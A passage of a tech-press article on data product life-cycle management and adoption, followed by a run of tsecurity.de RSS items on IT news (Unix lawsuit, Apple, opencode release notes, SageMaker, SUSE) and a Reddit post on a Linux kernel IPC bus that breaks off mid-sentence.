<p>Life-cycle management of an API, application, or AI model requires defining a release schedule for delivering improvements, fixes, and other required upgrades. Data product life-cycle management involves several similar disciplines. Ulf Viney, executive vice president of engineering, support, and operations at <a href="https://www.precisely.com/">Precisely</a>, says, “Life-cycle management must include versioning, testing, structured deployment, and stakeholder communication.”</p>



<p>One fundamental difference with data products is that their life-cycle management is closely linked to how their underlying data sets grow or undergo structural changes. Having a data product that works today but isn’t resilient to changes or doesn’t generate alerts when fixes are necessary can break downstream use cases and erode stakeholders’ and users’ trust in the data.     </p>



<p>“Managing data as a product means that data consumers can trust the data from the outset, which requires a sustainable and scalable governance framework that ensures data is easy to find, understand, and use,” says Bethany Sehon, senior director of enterprise data at <a href="https://www.capitalone.com/tech/">Capital One</a>. “By embedding observability, quality checks, and interoperability from day one, you can manage the full data life cycle from versioning and testing to measuring adoption and performance.”</p>



<p>Teams managing mission-critical, real-time data products that feed multiple downstream analytics and AI use cases should consider the following devops and data governance practices.</p>



<ul class="wp-block-list">
<li>Establish <a href="https://drive.starcio.com/2024/10/6-important-ai-and-data-governance-non-negotiables/">data governance non-negotiables</a>, especially on setting data quality benchmarks, qualifying any data biases, and adhering to <a href="https://drive.starcio.com/2026/02/data-privacy-week-leadership-accountability/">data privacy policies</a>.</li>



<li>Support <a href="https://www.infoworld.com/article/2337516/advanced-cicd-6-steps-to-better-cicd-pipelines.html">advanced continuous integration/continuous delivery (CI/CD</a>) and <a href="https://www.infoworld.com/article/3663055/are-you-ready-to-automate-continuous-deployment-in-cicd.html">continuous deployment</a>, with <a href="https://www.infoworld.com/article/3705049/3-ways-to-upgrade-continuous-testing-for-generative-ai.html">continuous testing</a> and production deployments fully automated.</li>



<li>Ensure all data integrations have <a href="https://www.infoworld.com/article/3687135/why-observability-in-dataops.html">observable dataops</a> with monitoring for data quality issues and alerting when pipelines stop running. IT services should be defined to address requests and incidents. </li>



<li>Align with data management technology platform strategies, including <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data fabrics</a>, <a href="https://www.infoworld.com/article/3826186/3-reasons-to-consider-a-data-security-posture-management-platform.html">data security posture management</a> (DSPM), <a href="https://www.infoworld.com/article/3833936/why-genai-powered-intelligent-document-processing-is-a-big-deal.html">document processing</a>, and <a href="https://www.infoworld.com/article/3709912/vector-databases-in-llms-and-search.html">vector databases</a>.</li>
</ul>



<h2 class="wp-block-heading">How to encourage adoption?</h2>



<p>Unfortunately, building a data product doesn’t guarantee adoption. Think back to the challenges of getting code reuse, API adoption, or standardizing in-house-developed devops tools. These are all examples of intermediary products aimed at reducing developer toil and improving quality, yet many teams adopted “not-invented-here” postures and do-it-yourself practices rather than learning and adopting standards developed by other teams.</p>



<p>Data products face even greater challenges, especially when they aim to consolidate data silos or eliminate spreadsheets. Product managers overseeing data products must develop a <a href="https://blogs.starcio.com/2024/02/change-management-digital-transformation.html">change management program</a> to grow adoption and gather feedback.</p>



<p>“A data product earns its place when it drives a real business decision and can be trusted at scale,” says Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EnterpriseDB</a>. “Treat data products like software, with versioning, testing, and controlled releases, not one-off pipelines. That discipline securely delivers the right data to the right place and turns data into measurable value through adoption, speed, and risk reduction.”</p>



<p>Product managers can accelerate adoption by communicating how a data product aligns with the business’s AI strategy and culture transformation. For example, show how the data product improves AI literacy, <a href="https://www.cio.com/article/4136302/how-to-get-ai-democratization-right.html">democratizes AI</a> through the right business use cases, or<a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html"> prepares the workforce to use AI agents</a>.</p>



<h2 class="wp-block-heading">How to measure business value?</h2>



<p>The value delivered by a customer-facing product is often measured through revenue impact, usage metrics, and customer satisfaction (CSat). Internal, employee-facing products can be measured in terms of workflow efficiency, productivity improvement, and employee satisfaction (ESat). Data products are intermediaries, so quantifying their value can be more challenging.   </p>



<p>“Too many organizations still treat data products as technical outputs instead of strategic assets,” says Daniel Ziv, global vice president of AI and analytics at <a href="https://www.verint.com/">Verint</a>. “Their true value becomes clear when assessing how uniquely the data is generated, how much measurable impact it can drive across decisions, and how you can safely extract insight while managing risk. When every organization has access to the same AI models, competitive advantage comes from your unique data and how quickly you turn it into action.”</p>



<p>Sunil Kalra, head of the Databricks center of excellence at <a href="https://www.latentview.com/">LatentView Analytics</a>, adds, “Value should be measured through adoption, usage, and outcomes such as faster insights, reduced manual work, and improved revenue or cost performance.”</p>



<p>A best practice is to use <a href="https://www.cio.com/article/1296705/digital-kpis-the-secret-to-measuring-transformational-success.html">digital transformation velocity metrics</a> such as time to data, time to decision, time to innovation, and time to value. As more organizations seek to deliver business value from AI agents, creating data products will be seen as a path to accelerate delivery, reuse data assets, reduce risks, and manage costs.</p>
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<title><![CDATA[Unified Dell AI PC portfolio brochure]]></title>
<description><![CDATA[Unified Dell AI PC portfolio brochure]]></description>
<link>https://tsecurity.de/de/3650834/windows-tipps/unified-dell-ai-pc-portfolio-brochure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650834/windows-tipps/unified-dell-ai-pc-portfolio-brochure/</guid>
<pubDate>Tue, 07 Jul 2026 10:08:22 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unified Dell AI PC portfolio brochure]]></content:encoded>
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<title><![CDATA[/r/ReverseEngineering's Weekly Questions Thread]]></title>
<description><![CDATA[To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have ...]]></description>
<link>https://tsecurity.de/de/3649866/reverse-engineering/rreverseengineerings-weekly-questions-thread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649866/reverse-engineering/rreverseengineerings-weekly-questions-thread/</guid>
<pubDate>Mon, 06 Jul 2026 23:09:24 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the <a href="http://reverseengineering.stackexchange.com/">Reverse Engineering StackExchange</a>. See also <a href="https://www.reddit.com/r/AskReverseEngineering">/r/AskReverseEngineering</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/AutoModerator"> /u/AutoModerator </a> <br> <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uopvtc/rreverseengineerings_weekly_questions_thread/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uopvtc/rreverseengineerings_weekly_questions_thread/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Zombie 'Who Owns Unix?' Lawsuit Comes Alive Again]]></title>
<description><![CDATA[The long-running SCO/IBM Unix and Linux ownership dispute has resurfaced yet again, this time through SCO successor Xinuos, which is trying to pursue old license and copyright claims tied to Project Monterey. "The core issue seems to be whether Xinuos even has the right to litigate the matter, or...]]></description>
<link>https://tsecurity.de/de/3649779/it-security-nachrichten/zombie-who-owns-unix-lawsuit-comes-alive-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649779/it-security-nachrichten/zombie-who-owns-unix-lawsuit-comes-alive-again/</guid>
<pubDate>Mon, 06 Jul 2026 22:07:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The long-running SCO/IBM Unix and Linux ownership dispute has resurfaced yet again, this time through SCO successor Xinuos, which is trying to pursue old license and copyright claims tied to Project Monterey. "The core issue seems to be whether Xinuos even has the right to litigate the matter, or if some ancient legalese in the original agreements means the window for legal argument has long since expired," reports The Register. From the report: [T]he roots of the case are the 1998 alliance between IBM and a company called the Santa Cruz Operation which sold a version of UNIX for x86 CPUs. Those two companies, plus Intel and Sequent, created "Project Monterey" -- an effort to create a unified version of UNIX that could run on multiple processors. By 2001, Project Monterey was close to delivering a unified UNIX, an achievement made possible by blending code from IBM and SCO.
 
By then, a little project called "Linux" already ran on multiple processors. Big Blue decided Linux was the future and bailed from Project Monterey -- then allegedly contributed some Monterey code to the open-source project and to its own AIX and Z operating systems. SCO felt it owned some of that code, so sued IBM.
 
SCO and its successors struggled to survive, but interested parties kept the lawsuit alive because the chance to emerge as owner of parts of the Linux codebase, and IBM's code, had the potential to turn into a colossal payday. The case and its successors ended in 2021, with a settlement that saw litigants agree to end the matter without IBM admitting fault. But by then, SCO had sold its software to a biz called Xinuos that decided to fight on.
 
The Xinuos case has burbled along quietly since, and on June 22nd reached the milestone of a hearing. The matter has become a little more modern, if only because this hearing was held online and the presiding judge appeared to unwittingly be on mute at one point. But the arguments otherwise seemed to revisit Project Monterey, debated the relevance of past litigation, contested who owned what, when they owned it, and how they could prove it. Xinuos argued IBM never had a license for SCO code. Big Blue argued that it did nothing wrong.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/06/1844204/zombie-who-owns-unix-lawsuit-comes-alive-again?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[B&H is blowing out M4 Pro MacBook Pro inventory at $1,799]]></title>
<description><![CDATA[B&H is clearing out M4 Pro MacBook Pro inventory, offering discounts of up to $500 off and prices as low as $1,799. But inventory is limited, and the deals may sell out quickly.Save up to $500 on blowout 14-inch MacBook Pro laptops - Image credit: AppleKicking off the sale is Apple's last-gen M4 ...]]></description>
<link>https://tsecurity.de/de/3649747/ios-mac-os/bh-is-blowing-out-m4-pro-macbook-pro-inventory-at-1799/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649747/ios-mac-os/bh-is-blowing-out-m4-pro-macbook-pro-inventory-at-1799/</guid>
<pubDate>Mon, 06 Jul 2026 21:39:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[B&amp;H is clearing out M4 Pro MacBook Pro inventory, offering discounts of up to $500 off and prices as low as $1,799. But inventory is limited, and the deals may sell out quickly.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68172-143711-macbook-pro-14-up-to-500-off-xl.jpg" alt="Open MacBook Pro laptop on colorful gradient background with bold white text across the screen reading SAVE UP TO $500, suggesting a promotional discount on the laptop" height="720"><br><span>Save up to $500 on blowout 14-inch MacBook Pro laptops - Image credit: Apple</span></div><br>Kicking off the sale is Apple's last-gen M4 Pro 14-inch laptop that's <strong><a href="https://www.bhphotovideo.com/c/product/1859564-REG/apple_mx2e3ll_a_14_macbook_pro_m4.html/BI/1717/KBID/2301/SID/da-macp-14in-m4-pro-1799-070626" rel="nofollow" target="_blank">marked down to $1,799</a></strong>. This configuration in Apple's silver finish has a 12-core CPU and 16-core GPU, along with 24GB of unified memory and 512GB of storage.<br><br><a href="https://www.bhphotovideo.com/c/product/1859564-REG/apple_mx2e3ll_a_14_macbook_pro_m4.html/BI/1717/KBID/2301/SID/da-macp-14in-m4-pro-1799-btn-070626" rel="nofollow" class="deal-highlight">Buy M4 Pro MacBook Pro for $1,799</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/06/bh-is-blowing-out-m4-pro-macbook-pro-inventory-at-1799?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244884?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[v1.17.14]]></title>
<description><![CDATA[Core
Improvements

Added a code mode MCP adapter for running confined orchestration scripts against connected MCP tools.
Hid the execute tool unless code mode is enabled.

Bugfixes

Fixed paginated MCP tool catalogs losing tool metadata and output schema validation.
Preserved low reasoning effort...]]></description>
<link>https://tsecurity.de/de/3649660/downloads/v11714/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649660/downloads/v11714/</guid>
<pubDate>Mon, 06 Jul 2026 21:02:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Added a code mode MCP adapter for running confined orchestration scripts against connected MCP tools.</li>
<li>Hid the <code>execute</code> tool unless code mode is enabled.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Fixed paginated MCP tool catalogs losing tool metadata and output schema validation.</li>
<li>Preserved low reasoning effort for OpenRouter small-model variants instead of disabling it.</li>
<li>Fixed GitHub Copilot model routing to honor each model's advertised chat or responses endpoint.</li>
<li>Fixed session lists to match equivalent instance directories reliably.</li>
<li>Fixed Cerebras reasoning replay so earlier assistant reasoning is sent back in the provider-supported field.</li>
</ul>
<h2>TUI</h2>
<h3>Bugfixes</h3>
<ul>
<li>Fixed spinner registration so loading indicators keep rendering across TUI surfaces.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Show draft server status in the title bar.</li>
<li>Unified the provider connect flow across the app.</li>
<li>Improved the integrated terminal experience. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Added reopening for closed tabs and background tab opening. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
<li>Improved model search in picker dialogs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Added recently closed projects to Home. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
<li>Made tab navigation respond on mouse down in the new layout.</li>
<li>Overhauled the v2 review panel. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Refined the session tab preview popover. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Fixed new sessions from Home using the wrong project.</li>
<li>Fixed first-launch onboarding so it only appears when appropriate.</li>
<li>Improved large review pane performance.</li>
<li>Fixed timeline loads that started on assistant replies by backfilling the missing user turn.</li>
<li>Restored typing in the composer while the window is unfocused.</li>
<li>Fixed dropdown search behavior. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Kept the v2 review pane mounted when switching session tabs.</li>
<li>Kept the terminal mounted when switching session tabs in a workspace.</li>
<li>Fixed session tab busy indicators to stay scoped to the correct server.</li>
<li>Fixed child-session navigation and lineage resolution during tab transitions.</li>
<li>Kept desktop window tabs after closing and reopening the app.</li>
</ul>
<p><strong>Thank you to 3 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>:
<ul>
<li>feat(desktop): refine session tab preview popover (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788980437" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34792" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34792/hovercard" href="https://github.com/anomalyco/opencode/pull/34792">#34792</a>)</li>
<li>feat(desktop): add recently closed projects to home (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794880236" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34926" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34926/hovercard" href="https://github.com/anomalyco/opencode/pull/34926">#34926</a>)</li>
<li>feat(desktop): papercut fixes (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795127749" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34939" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34939/hovercard" href="https://github.com/anomalyco/opencode/pull/34939">#34939</a>)</li>
<li>feat(desktop): reopen closed tabs and background tab open (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797586133" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/35010" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/35010/hovercard" href="https://github.com/anomalyco/opencode/pull/35010">#35010</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>:
<ul>
<li>feat(app): v2 review panel overhaul (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640338817" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31882" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31882/hovercard" href="https://github.com/anomalyco/opencode/pull/31882">#31882</a>)</li>
<li>feat(app): align subagent UI with v2 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795025617" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34931" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34931/hovercard" href="https://github.com/anomalyco/opencode/pull/34931">#34931</a>)</li>
<li>feat(app): improvements to model search (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795626375" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34954" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34954/hovercard" href="https://github.com/anomalyco/opencode/pull/34954">#34954</a>)</li>
<li>feat(app): dropdown search fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795864210" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34961" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34961/hovercard" href="https://github.com/anomalyco/opencode/pull/34961">#34961</a>)</li>
<li>feat(app): terminal improvements (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785228462" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34747" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34747/hovercard" href="https://github.com/anomalyco/opencode/pull/34747">#34747</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/StarpTech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/StarpTech">@StarpTech</a>:
<ul>
<li>feat(tui): add debug info dialog with copy to clipboard (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797155811" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/35004" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/35004/hovercard" href="https://github.com/anomalyco/opencode/pull/35004">#35004</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
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<title><![CDATA[Streaming benchmark and recommendation results to MLflow with Amazon SageMaker AI]]></title>
<description><![CDATA[In this post, you learn how to use the new MLflow integration with Amazon SageMaker AI optimized inference recommendation jobs and Amazon SageMaker AI benchmark jobs to automatically stream experiment data into a unified tracking interface. This integration streams metrics, parameters, and charts...]]></description>
<link>https://tsecurity.de/de/3649454/ai-nachrichten/streaming-benchmark-and-recommendation-results-to-mlflow-with-amazon-sagemaker-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649454/ai-nachrichten/streaming-benchmark-and-recommendation-results-to-mlflow-with-amazon-sagemaker-ai/</guid>
<pubDate>Mon, 06 Jul 2026 19:05:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you learn how to use the new MLflow integration with Amazon SageMaker AI optimized inference recommendation jobs and Amazon SageMaker AI benchmark jobs to automatically stream experiment data into a unified tracking interface. This integration streams metrics, parameters, and charts into your serverless Amazon SageMaker MLflow App in real time and you get a unified experiment tracking experience.]]></content:encoded>
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<title><![CDATA[Apple Says More Developers Are Running AI Agents on Mac mini]]></title>
<description><![CDATA[Apple says the Mac mini and Mac Studio have become popular choices for people running AI agents, especially developers who want a separate desktop machine that can stay on all day and handle local AI work without depending fully on the cloud.



The Deep View reported the comments from Doug Brook...]]></description>
<link>https://tsecurity.de/de/3649277/ios-mac-os/apple-says-more-developers-are-running-ai-agents-on-mac-mini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649277/ios-mac-os/apple-says-more-developers-are-running-ai-agents-on-mac-mini/</guid>
<pubDate>Mon, 06 Jul 2026 17:58:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple says the Mac mini and Mac Studio have become popular choices for people running AI agents, especially developers who want a separate desktop machine that can stay on all day and handle local AI work without depending fully on the cloud.



The Deep View reported the comments from Doug Brooks, Apple’s senior product manager of Apple silicon, after speaking with him before WWDC 2026 in June.



Brooks said Apple has seen strong demand for the Mac mini and Mac Studio because many agentic AI workflows need a system that users can control, keep separate from their main computer, and run 24 hours a day. He said the Mac mini works well for this because it offers strong Apple silicon performance in a small desktop form.



Why Developers Are Using Macs for AI Work



Brooks said Macs remain common among developers because macOS has a strong development environment, while many AI tools arrive on Mac first or run only on Mac. This has helped the Mac gain attention inside AI labs and among developers building agentic tools.



He also explained that Apple sees AI performance as a full-chip task, rather than something handled only by the GPU. In his view, the CPU, GPU, Neural Engine, unified memory, and software tools all work together during modern AI tasks, including tool-calling and agent workflows.



Brooks connected Apple’s current AI position to chip decisions made years before ChatGPT became popular. He pointed to the Neural Engine, CPU neural accelerators, GPU neural accelerators, and unified memory as key parts of Apple silicon’s AI performance.



He also said local AI is growing because users care about privacy, security, and the rising cost of cloud inference. However, Apple expects a hybrid future where agents decide which tasks run on the device and which tasks go to the cloud.



For iPhone and iPad, Brooks highlighted “transparent AI,” where AI features work quietly inside apps and system tools. He named apps like Draw Things and SwingVision as examples of on-device AI already helping users in creative and sports-related tasks.]]></content:encoded>
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<title><![CDATA[Four years on, Apple bends to India's demands over card payments]]></title>
<description><![CDATA[App Store and iCloud users in India should soon be able to subscribe using credit or debit cards again, as Apple tries to smooth the way to launching Apple Pay.Dierdre O'Brien and Tim Cook open Apple BKC, the first Apple Store in India (Source: Apple)Starting in June 2022, India introduced extra ...]]></description>
<link>https://tsecurity.de/de/3648750/ios-mac-os/four-years-on-apple-bends-to-indias-demands-over-card-payments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648750/ios-mac-os/four-years-on-apple-bends-to-indias-demands-over-card-payments/</guid>
<pubDate>Mon, 06 Jul 2026 14:39:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/app-store" title="App Store" data-kpt="1">App Store</a> and iCloud users in India should soon be able to subscribe using credit or debit cards again, as Apple tries to smooth the way to launching Apple Pay.<br><br><div><img src="https://photos5.appleinsider.com/gallery/54016-108739-000-lead-Apple-BKC-opening-xl.jpg" alt="Dierdre O'Brien and Tim Cook at Apple BKC (Source: Apple)" height="720"><br><span>Dierdre O'Brien and Tim Cook open Apple BKC, the first Apple Store in India (Source: Apple)</span></div><br>Starting in June 2022, India introduced extra banking laws regarding any online recurring payments, such as subscriptions, and Apple <a href="https://appleinsider.com/articles/22/05/20/apple-confirms-it-wont-accept-card-payments-in-india-cites-banking-laws">ceased accepting</a> any debit or credit cards in the country. The company said at the time only that it was because of banking regulations and that users would have to switch to India's Unified Payments Interface (UPI).<br><br>Now according to Indian financial publication <em>Moneycontrol</em>, Apple <a href="https://www.moneycontrol.com/technology/apple-restarts-card-payments-for-app-store-and-icloud-in-india-sources-article-13966811.html">is testing</a> credit and debit card options with a limited number of users. Reportedly, the intention is to roll it out across India in the next few months.<br><br><br> <a href="https://appleinsider.com/articles/26/07/06/four-years-on-apple-bends-to-indias-demands-over-card-payments?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244876?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[SUSE AI Factory with NVIDIA is now generally available]]></title>
<description><![CDATA[Turning AI potential into operational resilience Key takeaways Operational shift: The AI hype cycle is officially moving into true enterprise industrialization and mission-critical deployment. Turnkey platform: SUSE AI Factory with NVIDIA delivers a secure framework to easily launch scalable work...]]></description>
<link>https://tsecurity.de/de/3648667/unix-server/suse-ai-factory-with-nvidia-is-now-generally-available/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648667/unix-server/suse-ai-factory-with-nvidia-is-now-generally-available/</guid>
<pubDate>Mon, 06 Jul 2026 14:01:26 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Turning AI potential into operational resilience Key takeaways Operational shift: The AI hype cycle is officially moving into true enterprise industrialization and mission-critical deployment. Turnkey platform: SUSE AI Factory with NVIDIA delivers a secure framework to easily launch scalable workflows. Economic stability: Organizations benefit from predictable CapEx models and unified, end-to-end infrastructure support. The era […]</p>
<p>The post <a href="https://www.suse.com/c/suse-ai-factory-with-nvidia-is-now-generally-available/">SUSE AI Factory with NVIDIA is now generally available</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
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<title><![CDATA[I tried to create a better IPC system for Linux (rust btw)]]></title>
<description><![CDATA[I'm creating a project called motherboard, a kernel-backed service bus for Linux, designed for fast communication between applications and system services. The idea came from a frustration I have with Linux application development: the system has very powerful primitives, but it doesn't have an a...]]></description>
<link>https://tsecurity.de/de/3644647/linux-tipps/i-tried-to-create-a-better-ipc-system-for-linux-rust-btw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644647/linux-tipps/i-tried-to-create-a-better-ipc-system-for-linux-rust-btw/</guid>
<pubDate>Sat, 04 Jul 2026 04:09:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm creating a project called <code>motherboard</code>, a kernel-backed service bus for Linux, designed for fast communication between applications and system services.</p> <p>The idea came from a frustration I have with Linux application development: the system has very powerful primitives, but it doesn't have an application platform as unified as Windows or Android. To build a complete app, we often need to deal with a mix of sockets, D-Bus, portals, specific daemons, X11/Wayland, PulseAudio/PipeWire, systemd or alternatives, etc.</p> <p><code>motherboard</code> tries to address this problem by creating a common layer where applications talk to stable OS global interfaces, not concrete processes.</p> <p>For example, an app should not need to know which daemon implements notifications. It should call something like:</p> <pre><code> NotificationDispatcher.send(...) </code></pre> <p>and the system should route that to whoever currently implements that service.</p> <p>Today that implementation may live in a monolithic process. Tomorrow it may be split into multiple daemons. The application does not change, because it depends on the interface, not the implementation.</p> <p>It may look like overengineering if you think about an isolated app talking to one specific daemon. But the problem here is different: an operating system needs to expose global APIs to many applications that do not know each other, while maintaining shared state, permissions, notifications, and real-time changes and you need the OS to be easily backwards compatible.</p> <p>If the user changes the theme or the network state changes (like wifi strength, status, IP, etc...), the shell needs to update, open apps need to react, services may need to recompute state, and future applications I have never seen before need a stable way to observe that without knowing which processes implement each of those services.</p> <p>That is why motherboard is not just “another IPC”. It tries to turn system services into stable interfaces with function calls, reactive stores, and eventually signals. For a small app, Unix sockets are enough. For an OS platform, you need a common layer.</p> <h1>What already works</h1> <p>The project already has a Linux kernel module called <code>motherboardm</code>, which exposes <code>/dev/services</code>.</p> <p>Communication uses commands serialized with <code>postcard</code> and sent through <code>ioctl</code>.</p> <p>Currently, I have implemented:</p> <ul> <li>asynchronous RPC-style calls;</li> <li>per-connection inboxes;</li> <li>latch file descriptors compatible with <code>poll</code>/<code>epoll</code>;</li> <li>inline file descriptor passing;</li> <li>identity metadata provided by the kernel, such as PID, UID, GID, and a flag indicating whether the identity comes from the initial namespace;</li> <li>reactive stores.</li> </ul> <p>Stores are one of my favorite parts of the design. Stores are very similar in spirit to <a href="https://svelte.dev/docs/svelte/stores#svelte-store-readable">svelte readable stores</a>. A service can expose a retained value, for example:</p> <pre><code> SettingsManager.theme </code></pre> <p>Clients can subscribe to that store, receive the current value, and then receive updates whenever the service changes the value.</p> <p>Signals are not implemented yet, but the idea is to use them for events such as “the user clicked on a notification” so apps can do things when certain things happen in the OS.</p> <h1>Practical example</h1> <p>I made a proof of concept with a settings app.</p> <p>One app calls a setter function in the settings service to change the theme. The service updates the <code>theme</code> store, and the other apps that were subscribed receive the update automatically.</p> <p>In other words, system state becomes a reactive primitive instead of polling and flooding the server with get requests like it usually happens with DBus.</p> <h1>Why in the kernel?</h1> <p>I know the natural reaction is to ask: “why not D-Bus or Unix sockets?”</p> <p>The short answer is that Unix sockets are good, but they are a generic primitive. Each protocol needs to rebuild framing, request IDs, asynchronous wakeups, credentials, fd passing, and its own conventions.</p> <p><code>motherboard</code> moves those concerns 